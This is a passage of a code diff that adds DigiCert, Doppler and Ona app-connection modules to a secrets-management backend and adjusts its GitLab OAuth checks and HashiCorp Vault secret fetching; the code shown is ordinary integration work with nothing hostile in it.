diff --git a/backend/src/services/app-connection/digicert/digicert-connection-fns.ts b/backend/src/services/app-connection/digicert/digicert-connection-fns.ts
new file mode 100644
index 00000000000..f136db2efa9
--- /dev/null
+++ b/backend/src/services/app-connection/digicert/digicert-connection-fns.ts
@@ -0,0 +1,140 @@
+import { AxiosError } from "axios";
+
+import { request } from "@app/lib/config/request";
+import { BadRequestError } from "@app/lib/errors";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { IntegrationUrls } from "@app/services/integration-auth/integration-list";
+
+import { DIGICERT_AUTH_HEADER } from "./digicert-connection-constants";
+import { DigiCertConnectionMethod, DigiCertRegion } from "./digicert-connection-enums";
+import { extractDigiCertErrorMessage } from "./digicert-connection-errors";
+import {
+  TDigiCertConnection,
+  TDigiCertConnectionConfig,
+  TDigiCertOrganization,
+  TDigiCertProduct
+} from "./digicert-connection-types";
+
+export const getDigiCertConnectionListItem = () => {
+  return {
+    name: "DigiCert" as const,
+    app: AppConnection.DigiCert as const,
+    methods: Object.values(DigiCertConnectionMethod) as [DigiCertConnectionMethod.ApiKey]
+  };
+};
+
+export const getDigiCertApiBaseUrl = (region: DigiCertRegion): string => {
+  switch (region) {
+    case DigiCertRegion.EU:
+      return IntegrationUrls.DIGICERT_SERVICES_API_URL_EU;
+    case DigiCertRegion.US:
+    default:
+      return IntegrationUrls.DIGICERT_SERVICES_API_URL;
+  }
+};
+
+export const validateDigiCertConnectionCredentials = async (config: TDigiCertConnectionConfig) => {
+  const { credentials: inputCredentials } = config;
+  const baseUrl = getDigiCertApiBaseUrl(inputCredentials.region);
+
+  try {
+    await request.get(`${baseUrl}/organization`, {
+      headers: {
+        [DIGICERT_AUTH_HEADER]: inputCredentials.apiKey,
+        "Content-Type": "application/json"
+      }
+    });
+  } catch (error: unknown) {
+    if (error instanceof AxiosError) {
+      throw new BadRequestError({
+        message: `Failed to validate credentials: ${extractDigiCertErrorMessage(error)}`
+      });
+    }
+    throw new BadRequestError({
+      message: `Unable to validate connection: ${(error as Error).message || "Verify credentials"}`
+    });
+  }
+
+  return inputCredentials;
+};
+
+type TDigiCertOrganizationsResponse = {
+  organizations: {
+    id: number;
+    name: string;
+    display_name?: string;
+    status?: string;
+  }[];
+};
+
+export const listDigiCertOrganizations = async (
+  appConnection: TDigiCertConnection
+): Promise<TDigiCertOrganization[]> => {
+  const { apiKey, region } = appConnection.credentials;
+  const baseUrl = getDigiCertApiBaseUrl(region);
+
+  try {
+    const { data } = await request.get<TDigiCertOrganizationsResponse>(`${baseUrl}/organization`, {
+      headers: {
+        [DIGICERT_AUTH_HEADER]: apiKey,
+        "Content-Type": "application/json"
+      }
+    });
+
+    return (data.organizations ?? []).map((org) => ({
+      id: org.id,
+      name: org.name,
+      displayName: org.display_name,
+      status: org.status
+    }));
+  } catch (error: unknown) {
+    if (error instanceof AxiosError) {
+      throw new BadRequestError({
+        message: `Failed to list DigiCert organizations: ${extractDigiCertErrorMessage(error)}`
+      });
+    }
+    throw error;
+  }
+};
+
+type TDigiCertProductsResponse = {
+  products: {
+    name_id: string;
+    name: string;
+    type?: string;
+    validation_type?: string;
+    signature_hash_types?: { allowed_hash_types?: { id?: string }[] };
+  }[];
+};
+
+const DIGICERT_SSL_PRODUCT_TYPE = "ssl_certificate";
+
+export const listDigiCertProducts = async (appConnection: TDigiCertConnection): Promise<TDigiCertProduct[]> => {
+  const { apiKey, region } = appConnection.credentials;
+  const baseUrl = getDigiCertApiBaseUrl(region);
+
+  try {
+    const { data } = await request.get<TDigiCertProductsResponse>(`${baseUrl}/product`, {
+      headers: {
+        [DIGICERT_AUTH_HEADER]: apiKey,
+        "Content-Type": "application/json"
+      }
+    });
+
+    return (data.products ?? [])
+      .filter((product) => product.type === DIGICERT_SSL_PRODUCT_TYPE)
+      .map((product) => ({
+        nameId: product.name_id,
+        name: product.name,
+        type: product.type,
+        validationType: product.validation_type
+      }));
+  } catch (error: unknown) {
+    if (error instanceof AxiosError) {
+      throw new BadRequestError({
+        message: `Failed to list DigiCert products: ${extractDigiCertErrorMessage(error)}`
+      });
+    }
+    throw error;
+  }
+};
diff --git a/backend/src/services/app-connection/digicert/digicert-connection-schemas.ts b/backend/src/services/app-connection/digicert/digicert-connection-schemas.ts
new file mode 100644
index 00000000000..409c4d70174
--- /dev/null
+++ b/backend/src/services/app-connection/digicert/digicert-connection-schemas.ts
@@ -0,0 +1,62 @@
+import z from "zod";
+
+import { AppConnections } from "@app/lib/api-docs";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  BaseAppConnectionSchema,
+  GenericCreateAppConnectionFieldsSchema,
+  GenericUpdateAppConnectionFieldsSchema
+} from "@app/services/app-connection/app-connection-schemas";
+
+import { APP_CONNECTION_NAME_MAP } from "../app-connection-maps";
+import { DigiCertConnectionMethod, DigiCertRegion } from "./digicert-connection-enums";
+
+export const DigiCertConnectionApiKeyCredentialsSchema = z.object({
+  apiKey: z.string().trim().min(1, "API Key required").describe(AppConnections.CREDENTIALS.DIGICERT.apiKey),
+  region: z.nativeEnum(DigiCertRegion).describe(AppConnections.CREDENTIALS.DIGICERT.region)
+});
+
+const BaseDigiCertConnectionSchema = BaseAppConnectionSchema.extend({
+  app: z.literal(AppConnection.DigiCert)
+});
+
+export const DigiCertConnectionSchema = BaseDigiCertConnectionSchema.extend({
+  method: z.literal(DigiCertConnectionMethod.ApiKey),
+  credentials: DigiCertConnectionApiKeyCredentialsSchema
+});
+
+export const SanitizedDigiCertConnectionSchema = z.discriminatedUnion("method", [
+  BaseDigiCertConnectionSchema.extend({
+    method: z.literal(DigiCertConnectionMethod.ApiKey),
+    credentials: DigiCertConnectionApiKeyCredentialsSchema.pick({ region: true })
+  }).describe(JSON.stringify({ title: `${APP_CONNECTION_NAME_MAP[AppConnection.DigiCert]} (API Key)` }))
+]);
+
+export const ValidateDigiCertConnectionCredentialsSchema = z.discriminatedUnion("method", [
+  z.object({
+    method: z.literal(DigiCertConnectionMethod.ApiKey).describe(AppConnections.CREATE(AppConnection.DigiCert).method),
+    credentials: DigiCertConnectionApiKeyCredentialsSchema.describe(
+      AppConnections.CREATE(AppConnection.DigiCert).credentials
+    )
+  })
+]);
+
+export const CreateDigiCertConnectionSchema = ValidateDigiCertConnectionCredentialsSchema.and(
+  GenericCreateAppConnectionFieldsSchema(AppConnection.DigiCert)
+);
+
+export const UpdateDigiCertConnectionSchema = z
+  .object({
+    credentials: DigiCertConnectionApiKeyCredentialsSchema.optional().describe(
+      AppConnections.UPDATE(AppConnection.DigiCert).credentials
+    )
+  })
+  .and(GenericUpdateAppConnectionFieldsSchema(AppConnection.DigiCert));
+
+export const DigiCertConnectionListItemSchema = z
+  .object({
+    name: z.literal("DigiCert"),
+    app: z.literal(AppConnection.DigiCert),
+    methods: z.nativeEnum(DigiCertConnectionMethod).array()
+  })
+  .describe(JSON.stringify({ title: APP_CONNECTION_NAME_MAP[AppConnection.DigiCert] }));
diff --git a/backend/src/services/app-connection/digicert/digicert-connection-service.ts b/backend/src/services/app-connection/digicert/digicert-connection-service.ts
new file mode 100644
index 00000000000..adc7fcc03fb
--- /dev/null
+++ b/backend/src/services/app-connection/digicert/digicert-connection-service.ts
@@ -0,0 +1,39 @@
+import { logger } from "@app/lib/logger";
+import { OrgServiceActor } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import { listDigiCertOrganizations, listDigiCertProducts } from "./digicert-connection-fns";
+import { TDigiCertConnection } from "./digicert-connection-types";
+
+type TGetAppConnectionFunc = (
+  app: AppConnection,
+  connectionId: string,
+  actor: OrgServiceActor
+) => Promise<TDigiCertConnection>;
+
+export const digicertConnectionService = (getAppConnection: TGetAppConnectionFunc) => {
+  const listOrganizations = async (connectionId: string, actor: OrgServiceActor) => {
+    const appConnection = await getAppConnection(AppConnection.DigiCert, connectionId, actor);
+    try {
+      return await listDigiCertOrganizations(appConnection);
+    } catch (error) {
+      logger.error(error, `Failed to list DigiCert organizations [connectionId=${connectionId}]`);
+      return [];
+    }
+  };
+
+  const listProducts = async (connectionId: string, actor: OrgServiceActor) => {
+    const appConnection = await getAppConnection(AppConnection.DigiCert, connectionId, actor);
+    try {
+      return await listDigiCertProducts(appConnection);
+    } catch (error) {
+      logger.error(error, `Failed to list DigiCert products [connectionId=${connectionId}]`);
+      return [];
+    }
+  };
+
+  return {
+    listOrganizations,
+    listProducts
+  };
+};
diff --git a/backend/src/services/app-connection/digicert/digicert-connection-types.ts b/backend/src/services/app-connection/digicert/digicert-connection-types.ts
new file mode 100644
index 00000000000..3d424e34202
--- /dev/null
+++ b/backend/src/services/app-connection/digicert/digicert-connection-types.ts
@@ -0,0 +1,39 @@
+import z from "zod";
+
+import { DiscriminativePick } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import {
+  CreateDigiCertConnectionSchema,
+  DigiCertConnectionSchema,
+  ValidateDigiCertConnectionCredentialsSchema
+} from "./digicert-connection-schemas";
+
+export type TDigiCertConnection = z.infer<typeof DigiCertConnectionSchema>;
+
+export type TDigiCertConnectionInput = z.infer<typeof CreateDigiCertConnectionSchema> & {
+  app: AppConnection.DigiCert;
+};
+
+export type TValidateDigiCertConnectionCredentialsSchema = typeof ValidateDigiCertConnectionCredentialsSchema;
+
+export type TDigiCertConnectionConfig = DiscriminativePick<
+  TDigiCertConnectionInput,
+  "method" | "app" | "credentials"
+> & {
+  orgId: string;
+};
+
+export type TDigiCertOrganization = {
+  id: number;
+  name: string;
+  displayName?: string;
+  status?: string;
+};
+
+export type TDigiCertProduct = {
+  nameId: string;
+  name: string;
+  type?: string;
+  validationType?: string;
+};
diff --git a/backend/src/services/app-connection/digicert/index.ts b/backend/src/services/app-connection/digicert/index.ts
new file mode 100644
index 00000000000..de9105d54e6
--- /dev/null
+++ b/backend/src/services/app-connection/digicert/index.ts
@@ -0,0 +1,5 @@
+export * from "./digicert-connection-enums";
+export * from "./digicert-connection-errors";
+export * from "./digicert-connection-fns";
+export * from "./digicert-connection-schemas";
+export * from "./digicert-connection-types";
diff --git a/backend/src/services/app-connection/doppler/doppler-connection-enums.ts b/backend/src/services/app-connection/doppler/doppler-connection-enums.ts
new file mode 100644
index 00000000000..2bc9e4f9db6
--- /dev/null
+++ b/backend/src/services/app-connection/doppler/doppler-connection-enums.ts
@@ -0,0 +1,3 @@
+export enum DopplerConnectionMethod {
+  ApiToken = "api-token"
+}
diff --git a/backend/src/services/app-connection/doppler/doppler-connection-fns.ts b/backend/src/services/app-connection/doppler/doppler-connection-fns.ts
new file mode 100644
index 00000000000..4316f0b4d70
--- /dev/null
+++ b/backend/src/services/app-connection/doppler/doppler-connection-fns.ts
@@ -0,0 +1,174 @@
+import { AxiosError } from "axios";
+
+import { request } from "@app/lib/config/request";
+import { BadRequestError } from "@app/lib/errors";
+
+import { AppConnection } from "../app-connection-enums";
+import { DopplerConnectionMethod } from "./doppler-connection-enums";
+import {
+  TDopplerConfig,
+  TDopplerConnection,
+  TDopplerConnectionConfig,
+  TDopplerEnvironment,
+  TDopplerProject,
+  TDopplerSecret
+} from "./doppler-connection-types";
+
+const DOPPLER_API_URL = "https://api.doppler.com";
+
+export const getDopplerConnectionListItem = () => {
+  return {
+    name: "Doppler" as const,
+    app: AppConnection.Doppler as const,
+    methods: Object.values(DopplerConnectionMethod) as [DopplerConnectionMethod.ApiToken]
+  };
+};
+
+export const validateDopplerConnectionCredentials = async (config: TDopplerConnectionConfig) => {
+  const { credentials: inputCredentials } = config;
+
+  try {
+    await request.get(`${DOPPLER_API_URL}/v3/me`, {
+      headers: {
+        Authorization: `Bearer ${inputCredentials.apiToken}`
+      }
+    });
+  } catch (error: unknown) {
+    if (error instanceof AxiosError) {
+      const responseData = error.response?.data as { messages?: string[] } | undefined;
+      throw new BadRequestError({
+        message: `Failed to validate Doppler credentials: ${responseData?.messages?.join(", ") || error.message || "Unknown error"}`
+      });
+    }
+    throw new BadRequestError({
+      message: "Unable to validate Doppler connection: verify credentials"
+    });
+  }
+
+  return inputCredentials;
+};
+
+export const listDopplerProjects = async (appConnection: TDopplerConnection): Promise<TDopplerProject[]> => {
+  const {
+    credentials: { apiToken }
+  } = appConnection;
+
+  const projects: TDopplerProject[] = [];
+  let page = 1;
+  const perPage = 50;
+  const maxPages = 20;
+  let hasMore = true;
+
+  while (hasMore && page <= maxPages) {
+    // eslint-disable-next-line no-await-in-loop
+    const res = await request.get<{ projects: TDopplerProject[]; page: number }>(`${DOPPLER_API_URL}/v3/projects`, {
+      params: { page, per_page: perPage },
+      headers: { Authorization: `Bearer ${apiToken}` }
+    });
+
+    projects.push(...res.data.projects);
+
+    if (res.data.projects.length < perPage) {
+      hasMore = false;
+    } else {
+      page += 1;
+    }
+  }
+
+  return projects;
+};
+
+export const listDopplerEnvironments = async (
+  appConnection: TDopplerConnection,
+  projectSlug: string
+): Promise<TDopplerEnvironment[]> => {
+  const {
+    credentials: { apiToken }
+  } = appConnection;
+
+  const environments: TDopplerEnvironment[] = [];
+  let page = 1;
+  const perPage = 50;
+  const maxPages = 20;
+  let hasMore = true;
+
+  while (hasMore && page <= maxPages) {
+    // eslint-disable-next-line no-await-in-loop
+    const res = await request.get<{ environments: TDopplerEnvironment[] }>(`${DOPPLER_API_URL}/v3/environments`, {
+      params: { project: projectSlug, page, per_page: perPage },
+      headers: { Authorization: `Bearer ${apiToken}` }
+    });
+
+    environments.push(...res.data.environments);
+
+    if (res.data.environments.length < perPage) {
+      hasMore = false;
+    } else {
+      page += 1;
+    }
+  }
+
+  return environments;
+};
+
+export const listDopplerConfigs = async (
+  appConnection: TDopplerConnection,
+  projectSlug: string
+): Promise<TDopplerConfig[]> => {
+  const {
+    credentials: { apiToken }
+  } = appConnection;
+
+  const configs: TDopplerConfig[] = [];
+  let page = 1;
+  const perPage = 50;
+  const maxPages = 20;
+  let hasMore = true;
+
+  while (hasMore && page <= maxPages) {
+    // eslint-disable-next-line no-await-in-loop
+    const res = await request.get<{ configs: TDopplerConfig[] }>(`${DOPPLER_API_URL}/v3/configs`, {
+      params: { project: projectSlug, page, per_page: perPage },
+      headers: { Authorization: `Bearer ${apiToken}` }
+    });
+
+    configs.push(...res.data.configs);
+
+    if (res.data.configs.length < perPage) {
+      hasMore = false;
+    } else {
+      page += 1;
+    }
+  }
+
+  return configs;
+};
+
+export const getDopplerSecrets = async (
+  appConnection: TDopplerConnection,
+  projectSlug: string,
+  environmentSlug: string
+): Promise<Record<string, string>> => {
+  const {
+    credentials: { apiToken }
+  } = appConnection;
+
+  const res = await request.get<{ secrets: Record<string, TDopplerSecret> }>(
+    `${DOPPLER_API_URL}/v3/configs/config/secrets`,
+    {
+      params: {
+        project: projectSlug,
+        config: environmentSlug,
+        include_dynamic_secrets: false,
+        include_managed_secrets: false
+      },
+      headers: { Authorization: `Bearer ${apiToken}` }
+    }
+  );
+
+  return Object.fromEntries(
+    Object.entries(res.data.secrets)
+      .filter(([, v]) => v.raw !== null)
+      .map(([k, v]) => [k, v.raw as string])
+  );
+};
diff --git a/backend/src/services/app-connection/doppler/doppler-connection-schema.ts b/backend/src/services/app-connection/doppler/doppler-connection-schema.ts
new file mode 100644
index 00000000000..d0a0a1ebca1
--- /dev/null
+++ b/backend/src/services/app-connection/doppler/doppler-connection-schema.ts
@@ -0,0 +1,59 @@
+import z from "zod";
+
+import { AppConnections } from "@app/lib/api-docs";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  BaseAppConnectionSchema,
+  GenericCreateAppConnectionFieldsSchema,
+  GenericUpdateAppConnectionFieldsSchema
+} from "@app/services/app-connection/app-connection-schemas";
+
+import { APP_CONNECTION_NAME_MAP } from "../app-connection-maps";
+import { DopplerConnectionMethod } from "./doppler-connection-enums";
+
+export const DopplerConnectionApiTokenCredentialsSchema = z.object({
+  apiToken: z.string().trim().min(1, "API token required").max(512, "API token cannot exceed 512 characters")
+});
+
+const BaseDopplerConnectionSchema = BaseAppConnectionSchema.extend({ app: z.literal(AppConnection.Doppler) });
+
+export const DopplerConnectionSchema = BaseDopplerConnectionSchema.extend({
+  method: z.literal(DopplerConnectionMethod.ApiToken),
+  credentials: DopplerConnectionApiTokenCredentialsSchema
+});
+
+export const SanitizedDopplerConnectionSchema = z.discriminatedUnion("method", [
+  BaseDopplerConnectionSchema.extend({
+    method: z.literal(DopplerConnectionMethod.ApiToken),
+    credentials: DopplerConnectionApiTokenCredentialsSchema.pick({})
+  }).describe(JSON.stringify({ title: `${APP_CONNECTION_NAME_MAP[AppConnection.Doppler]} (API Token)` }))
+]);
+
+export const ValidateDopplerConnectionCredentialsSchema = z.discriminatedUnion("method", [
+  z.object({
+    method: z.literal(DopplerConnectionMethod.ApiToken).describe(AppConnections.CREATE(AppConnection.Doppler).method),
+    credentials: DopplerConnectionApiTokenCredentialsSchema.describe(
+      AppConnections.CREATE(AppConnection.Doppler).credentials
+    )
+  })
+]);
+
+export const CreateDopplerConnectionSchema = ValidateDopplerConnectionCredentialsSchema.and(
+  GenericCreateAppConnectionFieldsSchema(AppConnection.Doppler)
+);
+
+export const UpdateDopplerConnectionSchema = z
+  .object({
+    credentials: DopplerConnectionApiTokenCredentialsSchema.optional().describe(
+      AppConnections.UPDATE(AppConnection.Doppler).credentials
+    )
+  })
+  .and(GenericUpdateAppConnectionFieldsSchema(AppConnection.Doppler));
+
+export const DopplerConnectionListItemSchema = z
+  .object({
+    name: z.literal("Doppler"),
+    app: z.literal(AppConnection.Doppler),
+    methods: z.nativeEnum(DopplerConnectionMethod).array()
+  })
+  .describe(JSON.stringify({ title: APP_CONNECTION_NAME_MAP[AppConnection.Doppler] }));
diff --git a/backend/src/services/app-connection/doppler/doppler-connection-service.ts b/backend/src/services/app-connection/doppler/doppler-connection-service.ts
new file mode 100644
index 00000000000..98c55a49359
--- /dev/null
+++ b/backend/src/services/app-connection/doppler/doppler-connection-service.ts
@@ -0,0 +1,61 @@
+import { logger } from "@app/lib/logger";
+import { OrgServiceActor } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import {
+  getDopplerSecrets,
+  listDopplerConfigs,
+  listDopplerEnvironments,
+  listDopplerProjects
+} from "./doppler-connection-fns";
+import { TDopplerConnection } from "./doppler-connection-types";
+
+type TGetAppConnectionFunc = (
+  app: AppConnection,
+  connectionId: string,
+  actor: OrgServiceActor
+) => Promise<TDopplerConnection>;
+
+export const dopplerConnectionService = (getAppConnection: TGetAppConnectionFunc) => {
+  const listProjects = async (connectionId: string, actor: OrgServiceActor) => {
+    const appConnection = await getAppConnection(AppConnection.Doppler, connectionId, actor);
+    try {
+      return await listDopplerProjects(appConnection);
+    } catch (error) {
+      logger.error(error, "Failed to list projects for Doppler connection");
+      return [];
+    }
+  };
+
+  const listEnvironments = async (connectionId: string, projectSlug: string, actor: OrgServiceActor) => {
+    const appConnection = await getAppConnection(AppConnection.Doppler, connectionId, actor);
+    try {
+      return await listDopplerEnvironments(appConnection, projectSlug);
+    } catch (error) {
+      logger.error(error, "Failed to list environments for Doppler connection");
+      return [];
+    }
+  };
+
+  const listConfigs = async (connectionId: string, projectSlug: string, actor: OrgServiceActor) => {
+    const appConnection = await getAppConnection(AppConnection.Doppler, connectionId, actor);
+    try {
+      return await listDopplerConfigs(appConnection, projectSlug);
+    } catch (error) {
+      logger.error(error, "Failed to list configs for Doppler connection");
+      return [];
+    }
+  };
+
+  const getSecrets = async (
+    connectionId: string,
+    projectSlug: string,
+    environmentSlug: string,
+    actor: OrgServiceActor
+  ) => {
+    const appConnection = await getAppConnection(AppConnection.Doppler, connectionId, actor);
+    return getDopplerSecrets(appConnection, projectSlug, environmentSlug);
+  };
+
+  return { listProjects, listEnvironments, listConfigs, getSecrets };
+};
diff --git a/backend/src/services/app-connection/doppler/doppler-connection-types.ts b/backend/src/services/app-connection/doppler/doppler-connection-types.ts
new file mode 100644
index 00000000000..e405d877d3f
--- /dev/null
+++ b/backend/src/services/app-connection/doppler/doppler-connection-types.ts
@@ -0,0 +1,51 @@
+import z from "zod";
+
+import { DiscriminativePick } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import {
+  CreateDopplerConnectionSchema,
+  DopplerConnectionSchema,
+  ValidateDopplerConnectionCredentialsSchema
+} from "./doppler-connection-schema";
+
+export type TDopplerConnection = z.infer<typeof DopplerConnectionSchema>;
+
+export type TDopplerConnectionInput = z.infer<typeof CreateDopplerConnectionSchema> & {
+  app: AppConnection.Doppler;
+};
+
+export type TValidateDopplerConnectionCredentialsSchema = typeof ValidateDopplerConnectionCredentialsSchema;
+
+export type TDopplerConnectionConfig = DiscriminativePick<TDopplerConnectionInput, "method" | "app" | "credentials"> & {
+  orgId: string;
+};
+
+export type TDopplerProject = {
+  id: string;
+  slug: string;
+  name: string;
+  description?: string | null;
+};
+
+export type TDopplerEnvironment = {
+  id: string;
+  slug: string;
+  name: string;
+  project: string;
+  initialFetchAt: string | null;
+  createdAt: string;
+};
+
+export type TDopplerConfig = {
+  name: string;
+  root: boolean;
+  locked: boolean;
+  environment: string;
+  project: string;
+};
+
+export type TDopplerSecret = {
+  raw: string | null;
+  computed: string | null;
+};
diff --git a/backend/src/services/app-connection/doppler/index.ts b/backend/src/services/app-connection/doppler/index.ts
new file mode 100644
index 00000000000..5ff3c4c11cb
--- /dev/null
+++ b/backend/src/services/app-connection/doppler/index.ts
@@ -0,0 +1,5 @@
+export * from "./doppler-connection-enums";
+export * from "./doppler-connection-fns";
+export * from "./doppler-connection-schema";
+export * from "./doppler-connection-service";
+export * from "./doppler-connection-types";
diff --git a/backend/src/services/app-connection/gitlab/gitlab-connection-fns.ts b/backend/src/services/app-connection/gitlab/gitlab-connection-fns.ts
index ca0833e40b7..37eeeaeb158 100644
--- a/backend/src/services/app-connection/gitlab/gitlab-connection-fns.ts
+++ b/backend/src/services/app-connection/gitlab/gitlab-connection-fns.ts
@@ -69,9 +69,19 @@ export const refreshGitLabToken = async (
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">,
   instanceUrl?: string
 ): Promise<string> => {
-  const { INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_ID, INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_SECRET, SITE_URL } =
-    getConfig();
-  if (!INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_SECRET || !INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_ID || !SITE_URL) {
+  const {
+    INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_ID,
+    INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_SECRET,
+    SITE_URL,
+    isCloud
+  } = getConfig();
+  if (
+    !INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_SECRET ||
+    !INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_ID ||
+    !SITE_URL ||
+    // Cloud instances do not support OAuth authentication
+    isCloud
+  ) {
     throw new InternalServerError({
       message: `GitLab environment variables have not been configured`
     });
@@ -128,9 +138,18 @@ export const exchangeGitLabOAuthCode = async (
   code: string,
   instanceUrl?: string
 ): Promise<GitLabOAuthTokenResponse> => {
-  const { INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_ID, INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_SECRET, SITE_URL } =
-    getConfig();
-  if (!INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_SECRET || !INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_ID || !SITE_URL) {
+  const {
+    INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_ID,
+    INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_SECRET,
+    SITE_URL,
+    isCloud
+  } = getConfig();
+  if (
+    !INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_SECRET ||
+    !INF_APP_CONNECTION_GITLAB_OAUTH_CLIENT_ID ||
+    !SITE_URL ||
+    isCloud
+  ) {
     throw new InternalServerError({
       message: `GitLab environment variables have not been configured`
     });
diff --git a/backend/src/services/app-connection/hc-vault/hc-vault-connection-fns.ts b/backend/src/services/app-connection/hc-vault/hc-vault-connection-fns.ts
index 877b150a6a9..d50e4e9bfab 100644
--- a/backend/src/services/app-connection/hc-vault/hc-vault-connection-fns.ts
+++ b/backend/src/services/app-connection/hc-vault/hc-vault-connection-fns.ts
@@ -36,7 +36,7 @@ import {
 } from "./hc-vault-connection-types";
 
 // HashiCorp Vault stores JSON data, so values can be any valid JSON type
-type JsonValue = string | number | boolean | null | JsonValue[] | { [key: string]: JsonValue };
+export type JsonValue = string | number | boolean | null | JsonValue[] | { [key: string]: JsonValue };
 
 export const convertVaultValueToString = (value: JsonValue): string => {
   if (value === null) {
@@ -734,16 +734,25 @@ export const listHCVaultSecretPaths = async (
   return allSecretPaths;
 };
 
-export const getHCVaultSecretsForPath = async (
-  namespace: string,
-  secretPath: string,
-  connection: THCVaultConnection,
-  gatewayService: Pick<TGatewayServiceFactory, "fnGetGatewayClientTlsByGatewayId">,
-  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">
-) => {
-  const instanceUrl = await getHCVaultInstanceUrl(connection);
-  const accessToken = await getHCVaultAccessToken(connection, gatewayService, gatewayV2Service);
-
+const fetchVaultSecretAtPath = async ({
+  namespace,
+  secretPath,
+  mounts,
+  instanceUrl,
+  accessToken,
+  connection,
+  gatewayService,
+  gatewayV2Service
+}: {
+  namespace: string;
+  secretPath: string;
+  mounts: Awaited<ReturnType<typeof listHCVaultMounts>>;
+  instanceUrl: string;
+  accessToken: string;
+  connection: THCVaultConnection;
+  gatewayService: Pick<TGatewayServiceFactory, "fnGetGatewayClientTlsByGatewayId">;
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
+}): Promise<Record<string, JsonValue>> => {
   try {
     // Extract mount and path from the secretPath
     // secretPath format: {mount}/{path}
@@ -757,8 +766,6 @@ export const getHCVaultSecretsForPath = async (
       });
     }
 
-    // Get mounts to determine KV version
-    const mounts = await listHCVaultMounts(connection, gatewayService, gatewayV2Service, namespace);
     const mount = mounts.find((m) => m.path.replace(/\/$/, "") === mountPath);
 
     if (!mount) {
@@ -829,6 +836,37 @@ export const getHCVaultSecretsForPath = async (
   }
 };
 
+export const getHCVaultSecretsForPaths = async (
+  namespace: string,
+  secretPaths: string[],
+  connection: THCVaultConnection,
+  gatewayService: Pick<TGatewayServiceFactory, "fnGetGatewayClientTlsByGatewayId">,
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">
+): Promise<Array<{ vaultSecretPath: string; secrets: Record<string, JsonValue> }>> => {
+  const instanceUrl = await getHCVaultInstanceUrl(connection);
+  const accessToken = await getHCVaultAccessToken(connection, gatewayService, gatewayV2Service);
+  const mounts = await listHCVaultMounts(connection, gatewayService, gatewayV2Service, namespace);
+  const limiter = createConcurrencyLimiter(HC_VAULT_CONCURRENCY_LIMIT);
+
+  return Promise.all(
+    secretPaths.map((vaultSecretPath) =>
+      limiter(async () => {
+        const secrets = await fetchVaultSecretAtPath({
+          namespace,
+          secretPath: vaultSecretPath,
+          mounts,
+          instanceUrl,
+          accessToken,
+          connection,
+          gatewayService,
+          gatewayV2Service
+        });
+        return { vaultSecretPath, secrets };
+      })
+    )
+  );
+};
+
 export const getHCVaultAuthMounts = async (
   namespace: string,
   authType: HCVaultAuthType | undefined,
diff --git a/backend/src/services/app-connection/ona/index.ts b/backend/src/services/app-connection/ona/index.ts
new file mode 100644
index 00000000000..88ebcf97f46
--- /dev/null
+++ b/backend/src/services/app-connection/ona/index.ts
@@ -0,0 +1,4 @@
+export * from "./ona-connection-enums";
+export * from "./ona-connection-fns";
+export * from "./ona-connection-schemas";
+export * from "./ona-connection-types";
diff --git a/backend/src/services/app-connection/ona/ona-connection-enums.ts b/backend/src/services/app-connection/ona/ona-connection-enums.ts
new file mode 100644
index 00000000000..41cf8b38562
--- /dev/null
+++ b/backend/src/services/app-connection/ona/ona-connection-enums.ts
@@ -0,0 +1,3 @@
+export enum OnaConnectionMethod {
+  PersonalAccessToken = "personal-access-token"
+}
diff --git a/backend/src/services/app-connection/ona/ona-connection-fns.ts b/backend/src/services/app-connection/ona/ona-connection-fns.ts
new file mode 100644
index 00000000000..e2514d8a79b
--- /dev/null
+++ b/backend/src/services/app-connection/ona/ona-connection-fns.ts
@@ -0,0 +1,101 @@
+/* eslint-disable no-await-in-loop */
+import { AxiosError } from "axios";
+
+import { request } from "@app/lib/config/request";
+import { BadRequestError } from "@app/lib/errors";
+import { logger } from "@app/lib/logger";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+
+import { OnaConnectionMethod } from "./ona-connection-enums";
+import { TOnaConnection, TOnaConnectionConfig, TOnaProject, TOnaProjectListResponse } from "./ona-connection-types";
+
+const GET_AUTHENTICATED_IDENTITY_PATH = "/gitpod.v1.IdentityService/GetAuthenticatedIdentity";
+const ONA_LIST_PROJECTS_PATH = "/gitpod.v1.ProjectService/ListProjects";
+const ONA_API_URL = "https://app.gitpod.io/api";
+const ONA_PAGE_SIZE = 100;
+
+export const getOnaConnectionListItem = () => {
+  return {
+    name: "Ona" as const,
+    app: AppConnection.Ona as const,
+    methods: Object.values(OnaConnectionMethod) as [OnaConnectionMethod.PersonalAccessToken]
+  };
+};
+
+export const validateOnaConnectionCredentials = async (config: TOnaConnectionConfig) => {
+  const { credentials: inputCredentials } = config;
+
+  try {
+    await request.post(
+      `${ONA_API_URL}${GET_AUTHENTICATED_IDENTITY_PATH}`,
+      {},
+      {
+        headers: {
+          Authorization: `Bearer ${inputCredentials.personalAccessToken}`,
+          "Content-Type": "application/json"
+        }
+      }
+    );
+  } catch (error: unknown) {
